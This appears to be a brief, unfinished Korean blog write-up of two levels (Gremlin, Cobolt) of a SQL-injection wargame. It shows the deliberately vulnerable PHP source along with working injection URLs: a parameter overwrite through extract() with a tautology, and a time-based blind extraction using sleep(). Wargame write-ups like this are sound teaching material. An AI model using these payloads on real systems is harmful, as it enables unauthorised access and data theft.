webhacking/sql, sql injection

Lord Of SQLinjection2 Gremlin~ing

qkqhxla1 2015. 11. 20. 14:54

http://rubiya.uproot.co.kr/los2/gate.php


Gremlin

<?php
  extract
($_GET);
  include 
"./config.php";
  
login_chk();
  
dbconnect();
  if(
preg_match('/prob|_|\.|union/i'$id)) exit("No Hack ~_~"); // just warming up bitch
  
if(preg_match('/prob|_|\.|union/i'$pw)) exit("No Hack ~_~");
  
$query "select id from prob_gremlin where id='{$id}' and pw='{$pw}'";
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
$result = @mysql_fetch_array(mysql_query($query));
  if(
$result['id'] == "admin"$isAdmin 1;
  if((
$result['id']) && ($isAdmin == 1)) solve("gremlin");
  
highlight_file(__FILE__);
?>

소스.

union을 쓸수없다. 근데 ?id=admin'%23처럼 입력해보면 알겠지만 통과가 안되는걸로 봐서 테이블 내부에 admin이 없다. 그럼 다른 방법으로 해야된다. $_GET을 그냥 extract로 추출하므로....

http://rubiya.uproot.co.kr/los2/gremlin_1bdc013f73948e91be98187bb6b97a47.php?isAdmin=1&id=%27%20or%201=1%23


처럼 get으로 isAdmin을 세팅해주고, id에는 아무값이나 나오게 하면 풀린다.



cobolt.

http://rubiya.uproot.co.kr/los2/cobolt_260067a046708d42f308ae831e4fa51f.php?order=-1,if(id=%27admin%27%20and%20ascii(substr(email,1,1))%3E32,sleep(1),1)


프로그램 짜서 돌리면 된다.


http://rubiya.uproot.co.kr/los2/cobolt_260067a046708d42f308ae831e4fa51f.php?email=yabiru850@gmail.com


..ing